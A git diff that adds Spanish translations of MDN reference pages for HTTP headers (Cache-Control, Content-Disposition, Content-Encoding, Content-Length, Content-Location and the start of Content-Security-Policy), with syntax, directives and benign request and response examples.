+ <dt><code>immutable</code></dt>
+ <dd>Indica que la respuesta del cuerpo <strong>no debería cambiar</strong> con el tiempo. El recurso, si<em> no ha expirado</em>, no ha cambiado en el servidor y por lo tanto el cliente no debería enviar una revalidación condicional por ello (es decir, <code>If-None-Match</code> o <code>If-Modified-Since</code>) para revisar por actualizaciones, incluso cuando el usuario explícitamente recarga la página. Los clientes que no son consientes de esta extensión las ignoran deacuerdo a la especificación HTTP. En Firefox, <code>immutable</code> solo es respetada en transacciones <code>https://</code>. Para más información, ver también este <a href="https://bitsup.blogspot.de/2016/05/cache-control-immutable.html">árticulo de un blog</a>.</dd>
+</dl>
+
+<h3 id="Otros">Otros</h3>
+
+<dl>
+ <dt><code>no-transform</code></dt>
+ <dd>No hay transformaciones o conversiones deberían hacerse al recurso. Los encabezados Content-Encoding, Content-Range, Content-Type no deben ser modificados por un proxy. Un proxy no transparente o una característica de un navegador como podría ser <a href="https://support.google.com/webmasters/answer/6211428?hl=en">Google's Light Mode</a>, por ejemplo, convierte entre formatos de imagenes con el motivo de guardar espacio del cache o para reducir la cantidad de tráfico en un enlace lento. La directiva <code>no-transform</code> no permite esto.</dd>
+ <dt><code>only-if-cached</code></dt>
+ <dd>Definida por el <em>cliente </em>para indicar "no usar la red" para la respuesta. la cache debería ya sea responder usando una respuesta almacenada, o responder con un código de estado <code><a href="/en-US/docs/Web/HTTP/Status/504">504</a></code>. Encabezados condicionales como <code>If-None-Match</code> no deberían ser definidos. No hay efecto si <code>only-if-cached</code> es definido por un servidor como parte de una respuesta.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Prevención_de_almacenamiento_en_caché">Prevención de almacenamiento en caché</h3>
+
+<p>Para desactivar el almacenamiento en caché, puede enviar el siguiente encabezado de respuesta. Además, ver también los encabezados Expires y Pragma.</p>
+
+<dl>
+ <dd>
+ <pre class="example-good brush: http no-line-numbers notranslate">Cache-Control: no-store
+</pre>
+ </dd>
+ <dd>
+ <pre class="example-bad brush: http no-line-numbers notranslate">Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate,pre-check=0,post-check=0
+</pre>
+ </dd>
+</dl>
+
+<h3 id="Almacenando_temporalmente_recursos_estáticos">Almacenando temporalmente recursos estáticos</h3>
+
+<p>Para los archivos de la aplicación que no cambian, generalmente se puede agregar almacenamiento en caché agresivo enviando el encabezado de respuesta a continuación. Esto incluye, por ejemplo, archivos estáticos servidos por la aplicación, como imágenes, archivos CSS y archivos JavaScript. Además, vea también, el encabezado <code>Expires</code>.</p>
+
+<dl>
+ <dd>
+ <pre class="brush: http no-line-numbers notranslate">Cache-Control: public, max-age=604800, immutable
+</pre>
+ </dd>
+</dl>
+
+<h3 id="Requiriendo_revalidación">Requiriendo revalidación</h3>
+
+<p>Especificando <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">no-cache</span></font> o <code>max-age=0</code> se indica a los clientes que se puede almacenar temporalmente un recurso y debe revalidarse en cada ocasión antes de utilizarse. Esto significa que las peticiones HTTP ocurren cada vez, pero se pueden saltar la descarga del cuerpo HTTP si el contenido es válido.</p>
+
+<dl>
+ <dd>
+ <pre class="brush: http no-line-numbers notranslate">Cache-Control: no-cache
+Cache-Control: no-cache, max-age=0
+Cache-Control: no-cache, max-age=0, stale-while-revalidate=300
+</pre>
+ </dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC(8246, "HTTP Immutable Responses")}}</td>
+   <td><span class="spec-RFC">IETF RFC</span></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{RFC(7234, "Hypertext Transfer Protocol (HTTP/1.1): Caching")}}</td>
+   <td><span class="spec-RFC">IETF RFC</span></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{RFC(5861, "HTTP Cache-Control Extensions for Stale Content")}}</td>
+   <td><span class="spec-RFC">IETF RFC</span></td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, visite <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una solicitud de extracción.</p>
+
+<p>{{Compat("http.headers.Cache-Control")}}</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Caching_FAQ">HTTP Caching FAQ</a></li>
+ <li>Guía: <em><a href="https://csswizardry.com/2019/03/cache-control-for-civilians"><code>Cache-Control</code> para civiles</a></em></li>
+ <li>{{HTTPHeader("Age")}}</li>
+ <li>{{HTTPHeader("Expires")}}</li>
+ <li>{{HTTPHeader("Pragma")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/content-disposition/index.html b/files/es/web/http/headers/content-disposition/index.html
new file mode 100644
index 0000000000..62c66192e7
--- /dev/null
+++ b/files/es/web/http/headers/content-disposition/index.html
@@ -0,0 +1,144 @@
+---
+title: Content-Disposition
+slug: Web/HTTP/Headers/Content-Disposition
+translation_of: Web/HTTP/Headers/Content-Disposition
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>En una respuesta HTTP regular, el encabezado <code><strong>Content-Disposition</strong></code> indica si el contenido se espera que se muestre en línea en el navegador, esto es, como una o como parte de una página web, o como un archivo adjunto, que se puede descargar y guardar localmente.</div>
+
+<div> </div>
+
+<div>En un cuerpo <code>multipart/form-data</code>, el encabezado general <strong><code>Content-Disposition</code> </strong>puede ser utilizado en la subparte de un cuerpo multipartes para dar información acerca del campo al que aplica. La subparte es delimitada por el <em>boundary</em> (límite) definido en el encabezado {{HTTPHeader("Content-Type")}}. Cuando se utiliza en el propio cuerpo, <code>Content-Disposition</code> no tiene efecto.</div>
+
+<div> </div>
+
+<div>El encabezado <code>Content-Disposition </code>está definido en el contexto de mensajes MIME para correos electrónicos, pero sólo un subconjuto de los parámetros posibles aplican a formularios HTTP y peticiones {{HTTPMethod("POST")}}. Sólo el valor <code>form-data</code>, como las directivas opcionales <code>name</code> and <code>filename</code>, pueden ser utilizadas en el contexto HTTP.</div>
+
+<p> </p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de encabezado</th>
+   <td>{{Glossary("Response header")}} (para el cuerpo principal)<br>
+    {{Glossary("General header")}} (para una subparte de un cuerpo multipartes)</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Como_encabezado_de_respuesta_para_cuerpo_principal">Como encabezado de respuesta para cuerpo principal</h3>
+
+<p>El primer parámetro en el contexto HTTP o es <code>inline</code> (valor predeterminado, indicando que puede ser mostrado dentro de una página web, o como la página web) o <code>attachment</code> (indicando que será descargado; la mayoría de los navegadores mostrando un diálogo 'Guardar como', prellenado con el valor del parámetro <code>filename</code>, en caso de estar presente).</p>
+
+<pre class="syntaxbox">Content-Disposition: inline
+Content-Disposition: attachment
+Content-Disposition: attachment; filename="filename.jpg"</pre>
+
+<h3 id="Como_encabezado_para_un_cuerpo_multipartes">Como encabezado para un cuerpo multipartes</h3>
+
+<p>El primer parámetro en el contexto HTTP siempre es <code>form-data</code>; parámetros adicionales son insensibles a mayúsculas y tienen argumentos que usan sintaxis de textos entre comillas después del signo de <code>'='</code>. Múltiples parámetros se separan por punto y coma (<code>';'</code>).</p>
+
+<pre class="syntaxbox">Content-Disposition: form-data
+Content-Disposition: form-data; name="fieldName"
+Content-Disposition: form-data; name="fieldName"; filename="filename.jpg"</pre>
+
+<h3 id="Directivas">Directivas</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Es seguida de un texto que contiene el nombre del campo de HTML en el formulario a la que el contenido de la subparte refiere. Cuando se usan múltiples archivos en el mismo campo (por ejemplo, el atributo {{htmlattrxref("multiple", "input")}} de un elemento <code>{{HTMLElement("input","&lt;input type=file&gt;")}}</code>), puede haber varias subpartes con el mismo nombre.<br>
+ Un <code>name</code> con valor de <code>'_charset_'</code> indica que la parte no es un campo HTML, sino el conjunto de caracteres predeterminado para partes sin información explícita sobre su conjunto de caracteres.</dd>
+ <dt><code>filename</code></dt>
+ <dd>
+ <p>Es seguida de un texto que contiene el nombre original del archivo transmitido. Siempre es opcional y no debe ser utilizado a ciegas por la aplicación: información sobre la ruta  debe ser despojada, y se debe realizar una conversión a las reglas del sistema de archivos del servidor. Este parámetro provee mayormente información indicativa. Cuando se usa en combinación con <code>Content-Disposition: attachment</code>, es utilizado como el nombre de archivo predeterminado en caso de que se presente al usuario un diálogo de 'Guardar como'.</p>
+ </dd>
+ <dt><code>filename*</code></dt>
+ <dd>
+ <p>Los parámetros <code>filename</code> y <code>filename*</code> difieren únicamente en que <code>filename*</code> utiliza encodeado definido en <a href="https://tools.ietf.org/html/rfc5987">RFC 5987</a>. Cuando ambos están presentes en un valor de campo de encabezado simple, <code>filename*</code> es preferido sobre <code>filename</code> cuando ambos están presentes y entendidos.</p>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Una respuesta generando el diálogo 'Guardar como':</p>
+
+<pre>200 OK
+Content-Type: text/html; charset=utf-8
+Content-Disposition: attachment; filename="genial.html"
+Content-Length: 22
+
+&lt;HTML&gt;Guárdame!&lt;/HTML&gt;
+
+</pre>
+
+<p>Este archivo simple de HTML será guardado como una descarga regular en lugar de mostrarse en el navegador. La mayoría de los navegadores propondrá guardarlo como <code>genial.html</code> ya que es el nombre (predeterminado).</p>
+
+<p>Un ejemplo de un formulario HTML, publicado usando el formato <code>multipart/form-data</code> que hace uso del encabezado <code>Content-Disposition</code>:</p>
+
+<pre>POST /test.html HTTP/1.1
+Host: example.org
+Content-Type: multipart/form-data;boundary="boundary"
+
+--boundary
+Content-Disposition: form-data; name="campo1"
+
+valor1
+--boundary
+Content-Disposition: form-data; name="campo2"; filename="ejemplo.txt"
+
+valor2
+--boundary--</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7578")}}</td>
+   <td>Returning Values from Forms: multipart/form-data (Retornando Valores desde Formularios: multipart/form-data)</td>
+  </tr>
+  <tr>
+   <td>{{RFC("6266")}}</td>
+   <td>Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP) (Uso del campo de encabezado Content-Disposition en HTML)</td>
+  </tr>
+  <tr>
+   <td>{{RFC("2183")}}</td>
+   <td>Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field (Comunicando Información de Presentación en Mensajes de Internet: el Campo de Encabezado Content-Disposition)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página es generada a partir de datos estructurados. Si te gustaría contribuir, por favor revisa <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos un pull request.</p>
+
+<p>{{Compat("http.headers.Content-Disposition")}}</p>
+
+<h2 id="Notas_de_compatibilidad">Notas de compatibilidad</h2>
+
+<ul>
+ <li>
+  <p>Firefox 5 maneja el encabezado de respuesta HTTP <code>Content-Disposition</code> más efectivamente si ambos parámetros <code>filename</code> y <code>filename*</code> están presentes; observa todos los nombres presentes, usando el parámetro <code>filename*</code> si uno está disponible, incluso si el parámetro <code>filename</code> está incluido antes. Previamente, el primer parámetro en encontrarse sería usado, de este modo se previene el uso de un nombre más apropiado. Mira {{bug(588781)}}.</p>
+ </li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Forms">Formularios HTML</a></li>
+ <li>El {{HTTPHeader("Content-Type")}} definiendo el límite de un cuerpo multipartes.</li>
+ <li>La interfaz {{domxref("FormData")}} usada para manipular datos de formulario para uso en la API {{domxref("XMLHttpRequest")}}.</li>
+</ul>
diff --git a/files/es/web/http/headers/content-encoding/index.html b/files/es/web/http/headers/content-encoding/index.html
new file mode 100644
index 0000000000..2c868ca5a6
--- /dev/null
+++ b/files/es/web/http/headers/content-encoding/index.html
@@ -0,0 +1,97 @@
+---
+title: Content-Encoding
+slug: Web/HTTP/Headers/Content-Encoding
+tags:
+  - Cabecera
+  - Referencia
+translation_of: Web/HTTP/Headers/Content-Encoding
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabecera <strong><code>Content-Encoding</code></strong> es usada para comprimir el media-type. Cuando está presente, su valor indica qué codificación de contenido adicional ha sido aplicada al cuerpo de la entidad. Permite al cliente saber cómo decodificar para obtener el media-type referido por la cabecera <code>Content-Type</code>.</p>
+
+<p><span id="result_box" lang="es"><span>Se recomienda comprimir los datos tanto como sea posible y por lo tanto utilizar este campo, pero algunos tipos de recursos, como imágenes JPEG, ya están comprimidos.</span> <span>A veces, el uso de compresión adicional no reduce el tamaño de la petición e incluso puede hacer que la petición sea más larga.</span></span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Entity header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Content-Encoding: gzip
+Content-Encoding: compress
+Content-Encoding: deflate
+Content-Encoding: identity
+Content-Encoding: br
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt><code>gzip</code></dt>
+ <dd>Un formato que usa <a class="external" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv coding</a> (LZ77), con un CRC de 32 bits. Este es originalmente el formato del programa <em>gzip de </em>UNIX . El estándar HTTP/1.1 también recomienda que los servidores que soporten esta codificación también deberían reconocer  <code>x-gzip</code> como un alias por motivos de compatibilidad.</dd>
+ <dt><code>compress</code></dt>
+ <dd>Un formato que usa el algoritmo <a class="external" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW). El nombre viene del programa <em>compress de </em>UNIX , que implementó este algoritmo.<br>
+ Al igual que el programa compress, el cual ha desaparecido de la mayoría de distribuciones UNIX, esta codificación apenas es utilizada por los navegadores de hoy día, en parte debido a un problema de patente (la cual expiró en 2003).</dd>
+ <dt><code>deflate</code></dt>
+ <dd>Usa la estructura <a class="external" href="http://en.wikipedia.org/wiki/Zlib">zlib</a> (definida en <a class="external" href="http://tools.ietf.org/html/rfc1950">RFC 1950</a>), con el algoritmo de compresión <a class="external" href="http://en.wikipedia.org/wiki/DEFLATE"><em>deflate</em></a> (definido en <a class="external" href="http://tools.ietf.org/html/rfc1952">RFC 1951</a>).</dd>
+ <dt><code>identity</code></dt>
+ <dd><span id="result_box" lang="es"><span>Indica la función de identidad (es decir, sin compresión ni modificación).</span> <span>Este símbolo, excepto si se especifica explícitamente, siempre se considera aceptable.</span></span></dd>
+ <dt><code>br</code></dt>
+ <dd>Un formato que usa el algoritmo <a href="https://en.wikipedia.org/wiki/Brotli">Brotli</a>.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Comprimiendo_con_gzip">Comprimiendo con gzip</h3>
+
+<p>En el lado del cliente, puede detectar una lista de esquemas de compresión que serán enviados en una petición HTTP. La cabecera {{HTTPHeader("Accept-Encoding")}} se utiliza para la negociación de la codificación del contenido.</p>
+
+<pre>Accept-Encoding: gzip, deflate</pre>
+
+<p>El servidor responde con el esquema usado, indicado por la cabecera de respuesta <code>Content-Encoding</code>.</p>
+
+<pre>Content-Encoding: gzip</pre>
+
+<p>Ten en cuenta que el servidor no está obligado a usar algun método de compresión. La compresión depende directamente de la configuración del servidor y los módulos que utilice.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Content-Encoding", "3.1.2.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semántica y Contenido</td>
+  </tr>
+  <tr>
+   <td><a href="http://www.ietf.org/id/draft-alakuijala-brotli">http://www.ietf.org/id/draft-alakuijala-brotli</a></td>
+   <td>Formato de datos comprimidos Brotli</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_navegadores">Compatibilidad con los navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad de esta página es generada a partir de una estructura de datos. Si quieres contribuir a estos datos, por favor, lee  <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos un pull request.</p>
+
+<p>{{Compat("http/headers/content-encoding")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept-Encoding")}}</li>
+ <li>{{HTTPHeader("Transfer-Encoding")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/content-length/index.html b/files/es/web/http/headers/content-length/index.html
new file mode 100644
index 0000000000..0521cf798e
--- /dev/null
+++ b/files/es/web/http/headers/content-length/index.html
@@ -0,0 +1,60 @@
+---
+title: Content-Length
+slug: Web/HTTP/Headers/Content-Length
+translation_of: Web/HTTP/Headers/Content-Length
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El encabezado de entidad <strong><code>Content-Length</code></strong> indica el tamaño de la entidad-cuerpo, en bytes, enviado al destinatario.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de cabecera</th>
+   <td>{{Glossary("Entity header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Nombre de cabecera prohibido")}}</th>
+   <td>si</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">Content-Length: &lt;longitud&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;length&gt;</dt>
+ <dd>La longitud en número decimal de octetos.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Content-Length", "3.3.2")}}</td>
+   <td>Protocolo de Transferencia de Hipertexto (HTTP/1.1): Sintaxis y enrutamiento de mensajes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, visite <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una solicitud de extracción.</p>
+
+<p>{{Compat("http.headers.Content-Length")}}</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Transfer-Encoding")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/content-location/index.html b/files/es/web/http/headers/content-location/index.html
new file mode 100644
index 0000000000..eecadf51e5
--- /dev/null
+++ b/files/es/web/http/headers/content-location/index.html
@@ -0,0 +1,156 @@
+---
+title: Content-Location
+slug: Web/HTTP/Headers/Content-Location
+translation_of: Web/HTTP/Headers/Content-Location
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabecera <strong><code>Content-Location</code></strong> indica una ubicación alternativa para los datos devueltos. Su principal uso es indicar la URL de un recurso transmitido y que ha resultado de una <a href="/en-US/docs/Web/HTTP/Content_negotiation">negociación de contenido</a>.</p>
+
+<p>Las cabeceras {{HTTPHeader("Location")}} y <code>Content-Location</code> son diferentes. <code>Location</code> indica la URL de una redirección, mientras que <code>Content-Location</code> indica la URL directa a ser utilizada para acceder al recurso, sin necesidad de realizar <a href="/en-US/docs/Web/HTTP/Content_negotiation">negociación de contenido</a> en el futuro. Mientras que <code>Location</code> es una cabecera asociada con la respuesta, <code>Content-Location</code> está asociada con los datos devueltos. Esta distinción puede parecer abstracta sin ver algunos <a href="#Examples">ejemplos</a>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Entity header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Content-Location: &lt;url&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;url&gt;</dt>
+ <dd>Una URL <a href="/en-US/docs/Learn/Common_questions/What_is_a_URL#Examples_of_relative_URLs">relativa</a> o <a href="/en-US/docs/Learn/Common_questions/What_is_a_URL#Examples_of_absolute_URLs">absoluta</a> (a la URL de la petición).</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Solicitando_datos_de_un_servidor_en_distintos_formatos">Solicitando datos de un servidor en distintos formatos</h3>
+
+<p>Suponga que la API de un sitio web puede devolver datos en los formatos {{glossary("JSON")}}, {{glossary("XML")}}, o <a href="https://en.wikipedia.org/wiki/Comma-separated_values" rel="external" title="Comma-separated values">CSV</a>. Si la URL de un documento particular se encuentra en <code>https://example.com/documents/foo</code>, el sitio web podría retornar distintas URLs en la cabecera <code>Content-Location</code> dependiendo de la cabecera {{HTTPHeader("Accept")}} enviada en la petición: </p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Request header</th>
+   <th scope="col">Response header</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>Accept: application/json, text/json</code></td>
+   <td><code>Content-Location: /documents/foo.json</code></td>
+  </tr>
+  <tr>
+   <td><code>Accept: application/xml, text/xml</code></td>
+   <td><code>Content-Location: /documents/foo.xml</code></td>
+  </tr>
+  <tr>
+   <td><code>Accept: text/plain, text/*</code></td>
+   <td><code>Content-Location: /documents/foo.txt</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Estas URLs son ejemplos — el sitio web podría servir los distintos tipos de ficheros con cualquier patrón de URL que desee, por ejemplo, por medio de un <a href="/en-US/docs/Web/API/HTMLHyperlinkElementUtils/search">parámetro en la query</a>: <code>/documents/foo?format=json</code>, <code>/documents/foo?format=xml</code>, y así sucesivamente.</p>
+
+<p>De esa forma el cliente podrÍa recordar que la versión en formato JSON está disponible en esa URL particular, saltándose el paso de la negociación de contenido la próxima vez que solicite ese documento.</p>
+
+<p>El servidor podría también considerar otras cabeceras de <a href="/en-US/docs/Web/HTTP/Content_negotiation">negociación de contenido</a>, tales como {{HTTPHeader("Accept-Language")}}.</p>
+
+<h3 id="Apuntando_a_un_nuevo_documento_HTTP_201_Created">Apuntando a un nuevo documento (HTTP 201 Created)</h3>
+
+<p>Suponga que está creando una nueva entrada de un blog, a través de la API del sitio web:</p>
+
+<pre>PUT /new/post
+Host: example.com
+Content-Type: text/markdown
+
+# Mi primera entrada de blog!
+
+Hice esto a través de la API de `example.com`'. Espero que funcione.
+</pre>
+
+<p>El sitio devuelve un mensaje genérico de éxito confirmando que el post ha sido publicado. El servidor especifica donde se encuentra la nueva entrada utilizando <code>Content-Location</code>:</p>
+
+<pre>HTTP/1.1 201 Created
+Content-Type: text/plain; charset=utf-8
+Content-Location: /my-first-blog-post
+
+✅ Success!
+</pre>
+
+<h3 id="Indicating_the_URL_of_a_transactions_result">Indicating the URL of a transaction's result</h3>
+
+<p>Digamos que tiene un formulario <code><a href="/en-US/docs/Web/HTML/Element/form">&lt;form&gt;</a></code>  para el envío de dinero a otro usuario de un sitio web.</p>
+
+<pre class="brush: html">&lt;form action="/enviar-pago" method="post"&gt;
+  &lt;p&gt;
+    &lt;label&gt;A quien desea enviar dinero?
+      &lt;input type="text" name="destinatario"&gt;
+    &lt;/label&gt;
+  &lt;/p&gt;
+
+  &lt;p&gt;
+    &lt;label&gt;Cuanto dinero?
+      &lt;input type="number" name="cantidad"&gt;
+    &lt;/label&gt;
+  &lt;/p&gt;
+
+  &lt;button type="submit"&gt;Enviar dinero&lt;/button&gt;
+&lt;/form&gt;
+</pre>
+
+<p>Cuando el formulario es enviado, el sitio web genera un recibo o comprobante de la transacción. El servidor podría utilizar la cabecera <code>Content-Location</code> para indicar la URL de ese comprobante para un acceso futuro.</p>
+
+<pre>HTTP/1.1 200 OK
+Content-Type: text/html; charset=utf-8
+Content-Location: /mis-recibos/38
+
+&lt;!doctype html&gt;
+<em>(Lots of HTML…)</em>
+
+&lt;p&gt;Ha enviado $38.00 a UsuarioFicticio.&lt;/p&gt;
+
+<em>(Lots more HTML…)</em>
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "Content-Location", "3.1.4.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Content-Location")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Location")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/content-security-policy/index.html b/files/es/web/http/headers/content-security-policy/index.html
new file mode 100644
index 0000000000..5659403d96
--- /dev/null
+++ b/files/es/web/http/headers/content-security-policy/index.html
@@ -0,0 +1,252 @@
+---
+title: Content-Security-Policy
+slug: Web/HTTP/Headers/Content-Security-Policy
+tags:
+  - CSP
+  - HTTP
+  - Reference
+  - header
+translation_of: Web/HTTP/Headers/Content-Security-Policy
+---
+<div>{{HTTPSidebar}}</div>
+
+<div class="twocolumns"></div>
+
+<p><br>
+ La cabecera HTTP <strong><code>Content-Security-Policy  </code></strong>en la respuesta permite a los administradores de un sitio web controlar los recursos que el User-Agent puede cargar a una pagina. Con algunas (Poquísimas) excepciones, las políticas implican principalmente especificar el servidor de origen la protección de puntos finales del script. Esto ayuda a protegerse contra ataques Cross-site scripting ({{Glossary("XSS")}}).</p>
+
+<dl>
+ <dt></dt>
+</dl>
+
+<p>Para mas información, ve también este articulo en <a href="/en-US/docs/Web/HTTP/CSP">Content Security Policy (CSP)</a>.</p>
+
+<div></div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de cabecera</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Content-Security-Policy: &lt;policy-directive&gt;; &lt;policy-directive&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<h3 id="Fetch_directives" name="Fetch_directives">{{Glossary("Fetch directive", "Fetch directives")}}</h3>
+
+<p>"Fetch directives" controla la ubicación o ubicaciones desde la cual se pueden cargar ciertos tipos de recursos</p>
+
+<h4 id="Lista_de_Content_Security_Policy_Fetch_directives">Lista de Content Security Policy Fetch directives</h4>
+
+<dl>
+ <dt>{{CSP("child-src")}}</dt>
+ <dd>Define los origenes válidos para <a href="/es/docs/Web/API/Web_Workers_API">web workers</a> y contextos de navegación anidados cargados usando elementos como {{HTMLElement("frame")}} and {{HTMLElement("iframe")}}.
+ <div class="warning">
+ <p>En lugar de <strong><code>child-src</code></strong>, los autores quienes deseen regular los contextos de navegación anidados y "workers" deberían usar las directivas {{CSP("frame-src")}} y {{CSP("worker-src")}}, respectivamente.</p>
+ </div>
+ </dd>
+ <dt>{{CSP("connect-src")}}</dt>
+ <dd>Restringe las URLs que pueden ser cargados usando scripts.</dd>
+ <dt>{{CSP("default-src")}}</dt>
+ <dd>Serves as a fallback for the other {{Glossary("Fetch directive", "fetch directives")}}.</dd>
+ <dt>{{CSP("font-src")}}</dt>
+ <dd>Especifica origenes válidos para las fuentes cargadas usando {{cssxref("@font-face")}}.</dd>
+ <dt>{{CSP("frame-src")}}</dt>
+ <dd>Especifica origenes válidos para contextos de navageción anidada cargados usando elementos como {{HTMLElement("frame")}} y  {{HTMLElement("iframe")}}.</dd>
+ <dt>{{CSP("img-src")}}</dt>
+ <dd>Especifica origenes válidos de imágenes y favicons.</dd>
+ <dt>{{CSP("manifest-src")}}</dt>
+ <dd>Especifica origenes válidos de archivos de manifiesto de una aplicación.</dd>
+ <dt>{{CSP("media-src")}}</dt>
+ <dd>Especifica origenes válidos para carga de archivos usando elementos como {{HTMLElement("audio")}} , {{HTMLElement("video")}} y {{HTMLElement("track")}}.</dd>
+ <dt>{{CSP("object-src")}}</dt>
+ <dd>Specifies valid sources for the {{HTMLElement("object")}}, {{HTMLElement("embed")}}, and {{HTMLElement("applet")}} elements.</dd>
